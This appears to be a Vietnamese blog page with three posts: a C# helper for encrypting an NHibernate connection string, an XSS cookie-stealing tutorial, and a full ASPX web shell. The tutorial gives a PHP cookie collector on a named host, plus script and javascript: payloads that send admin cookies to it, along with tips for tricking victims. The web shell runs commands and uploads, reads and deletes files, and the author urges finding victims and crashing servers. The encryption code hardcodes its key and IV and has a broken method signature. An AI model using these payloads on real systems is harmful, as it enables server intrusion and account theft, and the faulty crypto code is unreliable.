Mã hóa chuỗi kết nối vào webconfig trong Nhibernate


Thông thường khi sử dụng Nhibernate để phát triển ứng dụng web hay ứng dụng winform chúng ta thường bỏ chuỗi kết nối ở file hibernate.cfg.xml , mình thấy bỏ thế nào không an toàn nên sau khi google với tìm hiểu mình đã tìm ra cách để bỏ vào webconfig và mã hóa chuỗi kết nối này cho nó an toàn nhằm tránh shell 爆笑

Thông thường thì chuỗi kết nối cơ sở dữ liệu thường bỏ ở file hibernate.cfg.xml như sau :

<property name="connection.connection_string">
      Chuỗi kết nối cơ sở dữ liệu ở đây

    </property>

Để mã hóa chuỗi kết nối ta viết một lớp là Crypto để mã hóa và giải mã trước đã

public static class Crypto
   {
       const string InitialVector = "4AQYuEmZ3Q7gNHdj";       
       public static string Encrypt(string data,string pass)
       {
           if (string.IsNullOrEmpty(data)) return "";

           var initialVectorBytes = Encoding.ASCII.GetBytes(InitialVector);
           var plainTextBytes = Encoding.UTF8.GetBytes(data);
           var keyBytes = Encoding.ASCII.GetBytes(pass);

           var symmetricKey = new RijndaelManaged();
           symmetricKey.Mode = CipherMode.CBC;
           byte[] cipherTextBytes = null;
           using (var encryptor = symmetricKey.CreateEncryptor(keyBytes, initialVectorBytes))
           {
               using (var memStream = new MemoryStream())
               {
                   using (var cryptoStream = new CryptoStream(memStream, encryptor, CryptoStreamMode.Write))
                   {
                       cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length);
                       cryptoStream.FlushFinalBlock();
                       cipherTextBytes = memStream.ToArray();
                       memStream.Close();
                       cryptoStream.Close();
                   }
               }
           }
           symmetricKey.Clear();
           return Convert.ToBase64String(cipherTextBytes);         
       }     
       public static string Decrypt(string data,pass)
       {
           if (string.IsNullOrEmpty(data)) return "";

           var initialVectorBytes = Encoding.ASCII.GetBytes(InitialVector);
           var cipherTextBytes = Convert.FromBase64String(data);
           var keyBytes = Encoding.ASCII.GetBytes(pass);

           var symmetricKey = new RijndaelManaged();
           symmetricKey.Mode = CipherMode.CBC;
           var plainTextBytes = new byte[cipherTextBytes.Length];
           var byteCount = 0;
           using (var decryptor = symmetricKey.CreateDecryptor(keyBytes, initialVectorBytes))
           {
               using (var memStream = new MemoryStream(cipherTextBytes))
               {
                   using (var cryptoStream = new CryptoStream(memStream, decryptor, CryptoStreamMode.Read))
                   {
                       byteCount = cryptoStream.Read(plainTextBytes, 0, plainTextBytes.Length);
                       memStream.Close();
                       cryptoStream.Close();
                   }
               }
           }
           symmetricKey.Clear();
           return Encoding.UTF8.GetString(plainTextBytes, 0, byteCount);           
       }    
   }

Mục đích của lớp này là mã hóa theo pass và giải mã theo pass một chuỗi, mục đích là mã hóa chuỗi kết nối.

Để sửa lại phương thức lấy chuỗi kết nối ta override lại lớp NHibernate.Connection.DriverConnectionProvider như sau :

public class MyConnectionProvider : NHibernate.Connection.DriverConnectionProvider
    {
        static string conn = "";
        protected override string ConnectionString
        {
            get
            {
                if (string.IsNullOrEmpty(conn))
                {

                    string connectionString = ConfigurationManager.ConnectionStrings["ApplicationServices"].ConnectionString;
                    conn= Crypto.Decrypt(connectionString,"sokhanh03");
                }
                return conn;
            }
        }       
       
    }

Sửa file hibernate.cfg.xml như sau :

<property name="connection.provider">
      (Name space của MyConnectionProvider).MyConnectionProvider,Name space của MyConnectionProvider
      <!–NHibernate.Connection.DriverConnectionProvider–>
    </property>

Chú ý comment lại dòng NHibernate.Connection.DriverConnectionProvider

Sau đó vào file webconfig hay app.config sửa lại thành :

<connectionStrings>
        <add name="ApplicationServices" connectionString="Chuỗi kết nối đã mã hóa với pass là sokhanh03" providerName="System.Data.SqlClient"/>
    </connectionStrings>

Như vậy ta đã chuyển chuỗi kết nối từ file hibernate.cfg.xml sang file webconfig(app.config) đã mã hóa, sau đó tiến hành code bình thường.

Mục đích của việt này là tránh việc bị shell đọc file webconfig và lấy chuỗi kết nối

Chúc các bạn thành công!

Nếu vẫn không làm được vui lòng comment lại ở đây mình sẽ support cho 爆笑

Advertisements

Khai thác lỗi xss thế nào?


Lỗi xss là lỗi cho phép thực thi trái phép script trái phép trên client người dùng có thể tham khảo thêm tại đây Cross Site Scripting

thường thì trước kìa tại hạ quậy phá cho phép thực thi câu lệnh

<script>

window.location=’”http:///xxxx.yyy”;

</script>

Trong đó http:///xxxx.yyy là 1 trang tươi mát nào đó Winking smile mục đích là cho admin giải trí trong những lúc mệt mỏi Open-mouthed smile

Bây giờ gặp site lổi tại hạ không dại gì làm thế nữa, vì làm thế chả làm được gì mà còn giúp nó fix bug nè, rồi giúp nó biết thêm mấy trang tươi mát của mềnh nữa Smile

Khi gặp site lỗi xss vấn đề bây giờ là lấy cookie của admin Smile, sau đó đăng nhập với vai trò là admin rồi thích làm gì thì làm :”>

để test site có lấy được cookie toàn vẹn hay không chúng ta thử test bằng cách gõ vào address câu lệnh đơn giản như sau :

javascript:alert(document.cookie);

Ví dụ mình lấy trang http://thamhue.com/forum.php chúng ta đăng nhập vào và dùng firebug để xem cookie như hình

image

chúng ta thực hiện câu lệnh trên và so sánh cookie của firebug

image

Hey ya, nó khác rồi, không khai thác được, nếu nó lỗi xss thì cho nó về trang tươi mát cho bỏ tức Sad smile

Chúng ta tìm site khác. giả sử có 1 site mô đó lỗi xss và lấy được cooki, chúng ta sẽ viết 1 script cho return về trang của mình để lưu cookie xong rồi return nó về trang nào đó tùy mình, mục đích là lấy được cooki thôi mà Sad smile

Giả sử mình có một host free php đi, chúng ta vào tạo 1 file có tên là cc.php và 1 file text có tên là cookie.txt

file cc.php

<?php
$myFile = "cookie.txt";
$fh = fopen($myFile, ‘a+’);
$bien=$_REQUEST[‘cc’].":".$_REQUEST[‘url’]."\n";
fwrite($fh,$bien);
fclose($fh);
echo("<script>window.location=’".$_REQUEST[‘url’]."’;</script>");
?>

file cooki.txt để trống và checkmod cho phép đọc&ghi Sad smile

ví dụ tại hạ đã làm và đã upload lên file có địa chỉ

http://vitinh2nd.com/cc.php

http://vitinh2nd.com/cookie.txt

Khi gặp site http://xyz.xxx lỗi xss ta tìm viết đoạn script sau :

<script>

window.location=”http://vitinh2nd.com/cc.php?cc=”+document.cookie+”&url=http://xyz.xxx”;

</script>

Giải thích : khi admin vào và thực thi script này thì sẽ chạy đến trang của mềnh rồi save cooki vào file cookie.txt rồi return lại trang gốc, mục đích lưu url để biết domain nào mà khai thác, thứ hai là để thằng admin nào đó gà nó tưởng site bị lỗi gì :”>

Vậy là xong, vậy sau khi lấy được cooki mình làm thế nào để đăng nhập :”>

các bạn có thể dùng addon Cookie Manager của Firefox để edit và thêm các trường của cooki sau đó F5 rồi đăng nhập Smile như hình

image

 

Kết luận : có phải xss là cách duy nhất để lấy cookie? cũng có nhiều cách ví dụ như những các sau:

ví dụ vào một trang mà có editor có cho phép sửa mã html các bạn có thể viết 1 bài dài ca ngợi linh tinh gì đó rồi chèn vào cái link dạng như vào đây xem tiếp

<a href=”#” onclick=”javascript:window.location=’http://vitinh2nd.com/cc.php?cc=’+document.cookie+’&url=http://xyz.xxx’;” >Click vào đây để xem chi tiết</a>

Nó click vào thì thực hiện câu lệnh trên Smile

Cách thứ hai dùng kỹ thuật chém gió lừa tình Smile cách này hay có thể xem tuyệt kỹ chém gió tại bài : https://tranphuochung.wordpress.com/2011/07/21/chem-gio-la-gi/

Dụ victim cái này phải chém cho hay : ví dụ như anh/chị gõ lệnh này trên trình duyệt

javascript:window.location=”http://vitinh2nd.com/cc.php?cc=”+document.cookie+”&url=http://xyz.xxx”;

sẽ hack được tiền hay đại loại để xem lỗi hay gì gì thế tùy vào người hót Smile

vậy lỗi xss này có thể khai thác bằng cách đăng nhập vào admin sau đó up shell lên sever rồi lấy dữ liệu của victim Smile

Cách khắc phục thì mấy bác có thể search google, trình độ em chỉ biết có thế có gì sai mấy bác đừng có chém em mà tội Sad smile

File shell aspx


Đây là nội dung file shell chạy trên các máy chủ cài IIS

<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>

<%
    string outstr = "";
   
    // get pwd
    string dir = Page.MapPath(".") + "/";
    if (Request.QueryString["fdir"] != null)
        dir = Request.QueryString["fdir"] + "/";
    dir = dir.Replace("\\", "/");
    dir = dir.Replace("//", "/");
   
    // build nav for path literal
    string[] dirparts = dir.Split(‘/’);
    string linkwalk = "";   
    foreach (string curpart in dirparts)
    {
        if (curpart.Length == 0)
            continue;
        linkwalk += curpart + "/";
        outstr += string.Format("<a href=’?fdir={0}’>{1}/</a>&nbsp;",
                                    HttpUtility.UrlEncode(linkwalk),
                                    HttpUtility.HtmlEncode(curpart));
    }
    lblPath.Text = outstr;
   
    // create drive list
    outstr = "";
    foreach(DriveInfo curdrive in DriveInfo.GetDrives())
    {
        if (!curdrive.IsReady)
            continue;
        string driveRoot = curdrive.RootDirectory.Name.Replace("\\", "");
        outstr += string.Format("<a href=’?fdir={0}’>{1}</a>&nbsp;",
                                    HttpUtility.UrlEncode(driveRoot),
                                    HttpUtility.HtmlEncode(driveRoot));
    }
    lblDrives.Text = outstr;

    // send file ?
    if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0))
    {
        Response.ClearContent();
        Response.WriteFile(Request.QueryString["get"]);
        Response.End();
    }

    // delete file ?
    if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0))
        File.Delete(Request.QueryString["del"]);   

    // receive files ?
    if(flUp.HasFile)
    {
        string fileName = flUp.FileName;
        int splitAt = flUp.FileName.LastIndexOfAny(new char[] { ‘/’, ‘\\’ });
        if (splitAt >= 0)
            fileName = flUp.FileName.Substring(splitAt);
        flUp.SaveAs(dir + "/" + fileName);
    }

    // enum directory and generate listing in the right pane
    DirectoryInfo di = new DirectoryInfo(dir);
    outstr = "";
    foreach (DirectoryInfo curdir in di.GetDirectories())
    {
        string fstr = string.Format("<a href=’?fdir={0}’>{1}</a>",
                                    HttpUtility.UrlEncode(dir + "/" + curdir.Name),
                                    HttpUtility.HtmlEncode(curdir.Name));
        outstr += string.Format("<tr><td>{0}</td><td>&lt;DIR&gt;</td><td></td></tr>", fstr);
    }
    foreach (FileInfo curfile in di.GetFiles())
    {
        string fstr = string.Format("<a href=’?get={0}’ target=’_blank’>{1}</a>",
                                    HttpUtility.UrlEncode(dir + "/" + curfile.Name),
                                    HttpUtility.HtmlEncode(curfile.Name));
        string astr = string.Format("<a href=’?fdir={0}&del={1}’>Del</a>",
                                    HttpUtility.UrlEncode(dir),
                                    HttpUtility.UrlEncode(dir + "/" + curfile.Name));
        outstr += string.Format("<tr><td>{0}</td><td>{1:d}</td><td>{2}</td></tr>", fstr, curfile.Length / 1024, astr);
    }
    lblDirOut.Text = outstr;

    // exec cmd ?
    if (txtCmdIn.Text.Length > 0)
    {
        Process p = new Process();
        p.StartInfo.CreateNoWindow = true;
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.RedirectStandardError = true;
        p.StartInfo.WorkingDirectory = dir;
        p.Start();

        lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
        txtCmdIn.Text = "";
    }   
%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
    <title>ASPX Shell</title>
    <style type="text/css">
        * { font-family: Arial; font-size: 12px; }
        body { margin: 0px; }
        pre { font-family: Courier New; background-color: #CCCCCC; }
        h1 { font-size: 16px; background-color: #00AA00; color: #FFFFFF; padding: 5px; }
        h2 { font-size: 14px; background-color: #006600; color: #FFFFFF; padding: 2px; }
        th { text-align: left; background-color: #99CC99; }
        td { background-color: #CCFFCC; }
        pre { margin: 2px; }
    </style>
</head>
<body>
    <h1>ASPX Shell by LT</h1>
    <form id="form1" runat="server">

    <table style="width: 100%; border-width: 0px; padding: 5px;">
        <tr>
            <td style="width: 50%; vertical-align: top;">
                <h2>Shell</h2>               
                <asp:TextBox runat="server" ID="txtCmdIn" Width="300" />
                <asp:Button runat="server" ID="cmdExec" Text="Execute" />
                <pre><asp:Literal runat="server" ID="lblCmdOut" Mode="Encode" /></pre>
            </td>
            <td style="width: 50%; vertical-align: top;">

                <h2>File Browser</h2>
                <p>
                    Drives:<br />
                    <asp:Literal runat="server" ID="lblDrives" Mode="PassThrough" />
                </p>
                <p>
                    Working directory:<br />

                    <b><asp:Literal runat="server" ID="lblPath" Mode="passThrough" /></b>
                </p>
                <table style="width: 100%">
                    <tr>
                        <th>Name</th>
                        <th>Size KB</th>
                        <th style="width: 50px">Actions</th>

                    </tr>
                    <asp:Literal runat="server" ID="lblDirOut" Mode="PassThrough" />
                </table>
                <p>Upload to this directory:<br />
                <asp:FileUpload runat="server" ID="flUp" />
                <asp:Button runat="server" ID="cmdUpload" Text="Upload" />
                </p>
            </td>

        </tr>
    </table>

    </form>
</body>
</html>

Các bạn copy nội dung trên vào notepad rồi save thành file shell.aspx rồi tiến hành tìm victim để up lên Smile

Nội dung của file shell:

– Đọc file và duyệt file trên máy chủ

– Upload file lên máy chủ (có thể up virus hay shell khác ^_^)

– Thực thi command (cmd)

Có thể up con virus từ bài Làm thế nào tạo virus sau đó thực thi câu lệnh để làm treo máy chủ Smile

Chúc vui vẻ ^_^!